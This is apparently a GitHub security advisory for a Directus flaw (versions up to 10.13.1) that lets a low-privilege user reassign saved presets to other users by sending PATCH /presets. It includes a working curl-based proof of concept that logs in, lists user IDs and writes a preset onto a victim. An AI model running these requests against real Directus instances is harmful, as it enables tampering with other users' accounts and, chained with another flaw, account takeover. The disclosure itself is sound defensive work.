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Directus has an insecure object reference via PATH presets

Moderate severity GitHub Reviewed Published Aug 27, 2024 in directus/directus • Updated Aug 27, 2024

Package

npm directus (npm)

Affected versions

<= 10.13.1

Patched versions

10.13.2

Description

Impact

Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.

PoC

To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

  1. Create a preset for a collection.

Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.

TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="[email protected]" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
  1. Modify the presets via PATCH /presets/{id}.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.

curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"[email protected]\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

Notes:

Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.

References

@br41nslug br41nslug published to directus/directus Aug 27, 2024
Published to the GitHub Advisory Database Aug 27, 2024
Reviewed Aug 27, 2024
Last updated Aug 27, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-3fff-gqw3-vj86

Source code

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